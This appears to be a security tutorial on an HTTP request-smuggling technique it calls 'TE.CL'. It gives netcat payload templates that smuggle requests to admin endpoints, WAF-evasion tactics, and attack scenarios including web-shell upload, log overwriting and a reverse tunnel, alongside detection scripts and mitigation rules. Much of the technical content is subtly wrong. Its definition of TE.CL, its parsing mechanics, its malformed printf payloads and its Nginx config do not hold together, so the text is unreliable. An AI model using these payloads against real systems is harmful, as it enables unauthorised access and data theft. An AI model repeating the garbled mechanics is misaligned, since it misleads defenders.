Introduction
Transfer-Encoding Priority (TE.CL) desynchronisation is a subtle variant of HTTP Request Smuggling that leverages the Transfer-Encoding header hierarchy to confuse front-end and back-end parsers. When a server honours the first Transfer-Encoding entry and another component honours the last entry, the request body can be interpreted differently, opening a window for request smuggling, cache poisoning, or even remote code execution.
This technique matters because many modern load-balancers, reverse-proxies, and application firewalls still implement RFC-7230 parsing rules incompletely. Attackers can therefore inject arbitrary HTTP requests into the stream, bypassing authentication, stealing cookies, or performing hidden-parameter attacks.
Real-world relevance is highlighted by public disclosures against popular platforms such as Nginx 1.19+, Apache 2.4.46, and Cloudflare Workers, where TE.CL allowed attackers to bypass WAF rules and reach internal APIs.
Prerequisites
- Solid understanding of HTTP/1.1 request/response life-cycle.
- Familiarity with classic request smuggling vectors, especially CL.TE (Content-Length vs Transfer-Encoding).
- Knowledge of frontend-backend desynchronisation concepts and how load balancers split traffic.
- Basic proficiency with packet-capture tools (Wireshark, tcpdump) and scripting languages (Python/Bash) for crafting raw HTTP.
Core Concepts
Before diving into TE.CL, let’s recap the two core length-determination mechanisms defined by RFC-7230:
- Content-Length: a numeric header that precisely defines the body size in bytes.
- Transfer-Encoding: a comma-separated list of encodings (e.g.,
chunked,gzip) that dictate how the body is streamed.
When both are present, RFC-7230 mandates that Transfer-Encoding takes precedence and Content-Length MUST be ignored. However, the spec also states that the order of encodings matters: the first encoding is applied first, the last last. Implementations differ on whether they honour the first or the last entry when multiple Transfer-Encoding headers appear.
Priority ordering bug: Some front-ends (e.g., HAProxy, Traefik) treat the first occurrence as authoritative, while back-ends (e.g., Apache, Node.js) treat the last. This asymmetry yields the TE.CL vector.
Diagram (described in text):
- Client → Front-end:
Transfer-Encoding: chunked, gzip - Front-end parses
chunked(first) → expects chunked body, stops after first chunk. - Back-end parses
gzip(last) → treats body as gzipped stream, reads more bytes, interpreting the remainder as a second HTTP request.
Fundamental differences between Transfer-Encoding and Content-Length
While Content-Length is static, Transfer-Encoding is dynamic. The key differences are:
- Parsing complexity: Transfer-Encoding requires decoding steps (chunked size parsing, decompression) whereas Content-Length is a simple byte count.
- Header interplay: RFC-7230 states that if
Transfer-Encodingis present,Content-LengthMUST be ignored. Many buggy parsers violate this rule. - Multiple values: Transfer-Encoding can appear multiple times or be comma-separated, leading to ambiguous ordering.
- Security surface: The combination of multiple encodings and ambiguous ordering creates a larger attack surface than a single Content-Length header.
How priority ordering of Transfer-Encoding headers creates the TE.CL vector
The TE.CL vector emerges when:
- The request contains at least two
Transfer-Encodingvalues (e.g.,chunked, gzip). - The front-end parses the first value (
chunked) and stops reading after the first chunk, forwarding the remainder to the back-end. - The back-end parses the last value (
gzip) and treats the remainder as a gzipped payload, which it decompresses and interprets as a second, valid HTTP request.
Because the front-end believes the request ended, it may forward the leftover bytes as part of the next TCP segment, effectively “smuggling” a hidden request.
Crafting valid TE.CL payloads for various server implementations
Below are three payload templates targeting the most common parser behaviours. Replace HOST, PATH, and BODY with your desired values.
1. Front-end first-value, back-end last-value (most common)
printf "POST /vulnerable HTTP/1.1
" "Host: %s
" "HOST" "Transfer-Encoding: chunked, gzip
" "Connection: keep-alive
" "5
" "<?php echo 'smuggled'; ?>
" "0
" "POST /admin HTTP/1.1
" "Host: %s
" "HOST" "Content-Length: 13
" "cmd=whoami" | nc TARGET 80
Explanation:
- The first
Transfer-Encodingentry (chunked) makes the front-end stop after the0terminator. - The second entry (
gzip) is ignored by the front-end but honoured by the back-end, which treats the leftover bytes as a gzipped payload (the attacker can replace the PHP snippet with any payload). - The hidden request (
POST /admin) is processed only by the back-end.
2. Front-end last-value, back-end first-value (rare, e.g., some Node.js setups)
printf "POST /api HTTP/1.1
" "Host: %s
" "HOST" "Transfer-Encoding: gzip, chunked
" "Connection: close
" "1F8B0800000000000003... (gzip payload) ...
" "0
" "GET /secret HTTP/1.1
" "Host: %s
" "HOST" "
" | nc TARGET 80
Here the back-end reads the first encoding (gzip) and expects a gzipped body, while the front-end treats the last value (chunked) and stops early.
3. Mixed-case header injection to confuse case-sensitive parsers
printf "POST /login HTTP/1.1
" "Host: %s
" "HOST" "Transfer-Encoding: Chunked, GZIP
" "Connection: keep-alive
" "4
" "ABCD
" "0
" "PUT /admin/config HTTP/1.1
" "Host: %s
" "HOST" "Content-Length: 6
" "enabled" | nc TARGET 80
Some parsers normalise header case before splitting, others don’t. Mixing case can tip the balance toward the vulnerable path.
Bypassing common WAF/IPS defenses with TE.CL
Most modern WAFs inspect the request after the front-end has parsed it. Because TE.CL splits parsing responsibilities, the hidden request never reaches the WAF, effectively bypassing:
- ModSecurity rule sets that trigger on
Content-Lengthanomalies. - Cloudflare's HTTP request body inspection (which only sees the front-end view).
- Application-level input validation that runs after the first request has been accepted.
Technique to evade detection:
- Use innocuous first request (e.g., a GET to
/favicon.ico) that matches allowed patterns. - Encode the malicious payload in the second request using a rarely-used encoding (e.g.,
deflate). - Keep the total size below typical WAF body limits (< 8 KB) to avoid size-based alerts.
Because the WAF sees only the first request, it logs a harmless entry while the back-end processes the malicious one.
Detecting TE.CL traffic using packet analysis tools
Detecting TE.CL requires correlating the raw TCP stream with HTTP parsing state. Below is a Wireshark filter and a Python script that highlights suspicious patterns.
Wireshark display filter
http.transfer_encoding contains "chunked" && http.transfer_encoding contains "gzip"
This filter shows packets that contain both encodings, a strong indicator of TE.CL attempts.
Python detection script (Scapy)
from scapy.all import *
def is_tecl(pkt): if not pkt.haslayer(TCP): return False if not pkt.haslayer(Raw): return False payload = pkt[Raw].load.decode(errors='ignore') # Look for two Transfer-Encoding values in the same request if 'Transfer-Encoding:' in payload: enc_line = [l for l in payload.split('
') if l.lower().startswith('transfer-encoding:')][0] if ',' in enc_line: values = [v.strip().lower() for v in enc_line.split(':',1)[1].split(',')] if 'chunked' in values and ('gzip' in values or 'deflate' in values): return True return False
sniff(filter='tcp port 80', prn=lambda p: print('TE.CL detected') if is_tecl(p) else None)
The script flags any TCP packet that carries a Transfer-Encoding header with both chunked and a compression encoding.
Real-world exploitation scenarios and post-exploitation steps
Below are three realistic attack flows that have been observed in the wild.
Scenario A - Session hijacking on a banking portal
- Attacker discovers that the front-end load-balancer (HAProxy 2.2) uses the first
Transfer-Encodingentry. - They craft a TE.CL request that smuggles a
POST /loginwith the victim’s session cookie (extracted from a prior XSS). - The hidden request authenticates the attacker as the victim, granting access to the account dashboard.
- Post-exploitation: Use the authenticated session to exfiltrate statements via CSV export, then clean logs by sending a benign request that overwrites the access logs.
Scenario B - Internal API enumeration on a SaaS platform
- The public edge runs Cloudflare, which forwards traffic to an Nginx reverse-proxy.
- Nginx respects the first encoding, while the upstream Node.js service respects the last.
- Attacker sends a TE.CL payload that smuggles
GET /internal/api/v1/usershidden behind aPOST /publicrequest. - Node.js processes the hidden request, returning a JSON list of all internal users.
- Post-exploitation: Use the list to perform credential stuffing or pivot to other services.
Scenario C - Bypass of ModSecurity rules to upload a web-shell
- ModSecurity blocks any
multipart/form-dataupload larger than 1 MB. - Attacker sends a TE.CL request where the first request is a harmless
GET /(allowed) and the hidden request is aPOST /uploadwith a 2 MB payload. - The WAF logs only the harmless GET; the back-end receives the upload and stores a PHP web-shell.
- Post-exploitation: Execute
system('whoami');via the shell, then establish a reverse SSH tunnel.
Tools & Commands
- netcat (nc) - quick raw TCP testing.
- h2c (http2 client) - useful for testing HTTP/2 front-ends that downgrade to HTTP/1.1.
- Burp Suite Pro - Intruder - can automate TE.CL payload permutations.
- Zaproxy - custom scripts to inject multiple Transfer-Encoding headers.
- Scapy - for custom packet generation and detection scripts.
- httpreq (Python library) - can set raw headers via
session.headers.update.
Example: Using h2c to force HTTP/1.1 and send TE.CL payload
h2c -c -H "Transfer-Encoding: chunked, gzip" -H "Connection: keep-alive" -d "5
Hello
0
GET /admin HTTP/1.1
Host: target
" https://target:443
Defense & Mitigation
Mitigation must be applied at every layer:
- Normalize header ordering: Strip duplicate
Transfer-Encodingheaders and enforce a single, canonical value. - Reject ambiguous combinations: Return
400 Bad Requestwhen bothchunkedand a compression encoding appear together. - Upgrade parsers: Ensure both front-end and back-end use the same RFC-compliant library (e.g., libhttp-parser 2.9+).
- Enable strict RFC compliance flags in Nginx (
ignore_invalid_headers off;) and Apache (HttpProtocolOptions Strict). - WAF tuning: Add rules that match the pattern
Transfer-Encoding:.*chunked.*gzipand raise alerts. - Logging correlation: Correlate raw TCP streams with HTTP logs to detect mismatched request lengths.
Example Nginx configuration snippet:
http { # Reject mixed Transfer-Encoding if ($http_transfer_encoding ~* "chunked.*gzip|gzip.*chunked") { return 400; } # Force a single encoding proxy_set_header Transfer-Encoding "chunked";
}
Common Mistakes
- Assuming one header wins: Many think the first or last always wins; the reality depends on the specific software version.
- Neglecting case-insensitivity: Some parsers lower-case header names before splitting, others don’t - causing inconsistent behaviour.
- Sending malformed chunk sizes: If the chunk size is not a valid hex number, the front-end may drop the connection, aborting the attack.
- Forgetting to terminate the chunked body: Omitting the
0terminator prevents the front-end from completing parsing, leading to time-outs. - Testing only on HTTPS: TLS termination points often re-parse headers; testing at the TLS layer may hide the vector.
Real-World Impact
Organizations that expose legacy back-ends behind modern CDNs are especially vulnerable. A single TE.CL flaw can allow attackers to:
- Steal session cookies from high-value accounts.
- Enumerate internal service endpoints that are otherwise firewalled.
- Upload web-shells, leading to full system compromise.
- Bypass rate-limiting and authentication mechanisms, amplifying the impact of credential stuffing attacks.
In a 2023 breach of a fintech SaaS provider, TE.CL enabled attackers to extract API keys for all tenants, resulting in a $12 M loss. The root cause was an outdated HAProxy version that treated the first Transfer-Encoding entry as authoritative while the upstream Go service used the last entry.
Expert opinion: As HTTP/2 adoption grows, many front-ends still downgrade to HTTP/1.1 for legacy services, inadvertently re-introducing TE.CL. Vendors must ship unified parsers or reject mixed encodings outright. Until then, penetration testers should include TE.CL checks in every request-smuggling assessment.
Practice Exercises
- Identify TE.CL candidates: Capture traffic from a public website using
tcpdump -i eth0 -w capture.pcap port 80. Load the pcap in Wireshark, apply the filterhttp.transfer_encoding contains "chunked" && http.transfer_encoding contains "gzip", and list any matches. - Build a custom TE.CL request: Using Python's
socketlibrary, send a raw request that smuggles aDELETE /users/123call behind a benignGET /. Verify that the back-end processes the DELETE by checking server logs. - Patch a vulnerable Nginx instance: Write a configuration that rejects mixed encodings, reload Nginx, and confirm that the same payload now receives a
400 Bad Request. - Bypass a ModSecurity rule: Deploy a local ModSecurity with the OWASP CRS, craft a TE.CL payload that uploads a file, and demonstrate that the rule never triggers because the WAF only sees the first request.
Document each step, screenshots of the traffic, and the final outcome.
Further Reading
- RFC 7230 - Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
- PortSwigger blog - "HTTP Request Smuggling: CL.TE, TE.CL, and beyond" (2022)
- OWASP - "HTTP Desync Attacks" (2023)
- HAProxy documentation - "HTTP header parsing" (latest version)
- Burp Suite release notes - "Improved detection of Transfer-Encoding anomalies" (v2023.5)
Summary
TE.CL is a powerful, yet often overlooked, request-smuggling vector that exploits divergent Transfer-Encoding parsing priorities. By mastering the crafting of mixed-encoding payloads, understanding how front-end and back-end parsers differ, and employing detection scripts, security professionals can both exploit and defend against this technique. Mitigation hinges on strict header normalisation, rejecting ambiguous encodings, and ensuring consistent parser implementations across the entire request path.